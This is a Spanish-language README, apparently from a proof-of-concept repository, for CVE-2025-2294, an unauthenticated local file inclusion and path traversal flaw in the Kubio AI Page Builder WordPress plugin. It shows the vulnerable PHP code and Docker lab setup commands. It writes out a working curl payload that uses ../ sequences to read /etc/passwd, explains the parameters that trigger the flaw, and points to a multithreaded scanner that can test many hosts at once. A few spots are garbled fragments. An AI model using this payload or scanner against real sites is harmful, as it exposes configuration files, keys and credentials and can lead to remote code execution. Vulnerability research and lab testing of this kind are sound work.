
Exploit de prueba de concepto para CVE-2025-2294, una vulnerabilidad crítica de LFI en Kubio AI Page Builder para WordPress. Incluye un escáner en Python, plantilla de nuclei y laboratorio Docker para pruebas.
CVE-2025-2294 es una vulnerabilidad crítica de tipo Local File Inclusion (LFI) en el plugin Kubio AI Page Builder para WordPress. La vulnerabilidad permite a un atacante remoto no autenticado enviar un parámetro especialmente manipulado, lo que provoca que el plugin incluya un archivo arbitrario en el servidor; si existe un archivo PHP incluible, esto puede llevar a la ejecución remota de código (RCE).
kubio/wp-content/plugins/kubio/cpe:2.3:a:extendthemes:kubio_ai_page_builder::::::wordpress::*CWE: CWE-22 — Improper Limitation of a Pathname to a Restricted Directory (Path Traversal).
__kubio-site-edit-iframe-classic-template.wp-config.php, claves privadas, logs).El código vulnerable está relacionado con la función kubio_hybrid_theme_load_template(), que accede al array global $_REQUEST:
$template_id = Arr::get($_REQUEST, '__kubio-site-edit-iframe-classic-template', false);
if ($template_id) {
$new_template = locate_template([$template_id]);
if ($new_template !== '') {
return $new_template;
}
}
Arr::get($_REQUEST, '__kubio-site-edit-iframe-classic-template', false) — toma el valor directamente del conjunto global de datos de entrada ($_REQUEST combina $_GET, $_POST, $_COOKIE). Esto significa que el parámetro es controlable remotamente.
Si el parámetro está presente ($template_id es verdadero), el código llama a locate_template([$template_id]).
locate_template() — es una utilidad de WordPress (o un análogo en el plugin) para buscar plantillas según la ruta/nombre relativo proporcionado. En un escenario normal, se esperaba que se pasaran nombres de archivos dentro del directorio seguro de plantillas, por ejemplo header.php o template-parts/content.php.
El valor devuelto ($new_template) se utiliza luego; en la implementación original, esto puede llevar a un include/require de la ruta encontrada, o a pasar esa ruta para su salida. Esto crea una oportunidad de LFI: el atacante puede especificar una ruta a un archivo arbitrario.
git clone https://github.com/iteride/CVE-2025-2294.git && cd CVE-2025-2294/ && docker-compose up -d
docker exec -it <WORDPRESS_DOCKER_ID> bash
Para ejecutar después de descomprimir, vaya a http://localhost:8080/wp-admin/plugins.php y active el plugin
cd /var/www/html/wp-content/plugins
curl -L -o kubio-2.5.1.zip "https://downloads.wordpress.org/plugin/kubio.2.5.1.zip"
unzip kubio-2.5.1.zip
rm kubio-2.5.1.zip
chown -R www-data:www-data kubio
curl 'http://localhost:8080/?__kubio-site-edit-iframe-preview=1&__kubio-site-edit-iframe-classic-template=../../../../../../../../../etc/passwd'

__kubio-site-edit-iframe-classic-template=<path>
Este parámetro pasa una cadena que el plugin utiliza como identificador/ruta de la plantilla.
En el fragmento vulnerable de código, el valor se toma de $_REQUEST y se pasa a locate_template() sin normalización o restricción previa. Como resultado, es posible un path traversal: si se insertan secuencias ../ en el valor, la ruta resultante puede salir del directorio de plantillas esperado y apuntar a cualquier archivo en el sistema de archivos (incluyendo /etc/passwd).
Es precisamente este parámetro el que lleva la carga útil del ataque — con él, el atacante especifica el archivo objetivo.
__kubio-site-edit-iframe-preview=1
Es una bandera de servicio (modo de vista previa / modo de edición iframe). Cambia el procesamiento de la solicitud a la rama de código donde se lee y utiliza la plantilla especificada en __kubio-site-edit-iframe-classic-template.
Sin preview=1, el plugin podría no procesar el parámetro classic-template o usar una lógica diferente; con preview=1 se activa la lógica que permite leer y devolver la plantilla, lo que hace posible la explotación.
/wp-content/plugins/kubio/readme.txt.

El script verifica la salida de /etc/passwd pero es mucho más rápido que nuclei gracias al multihilo, y también admite el escaneo de múltiples hosts a la vez
python3 scan.py --target http://localhost:8080
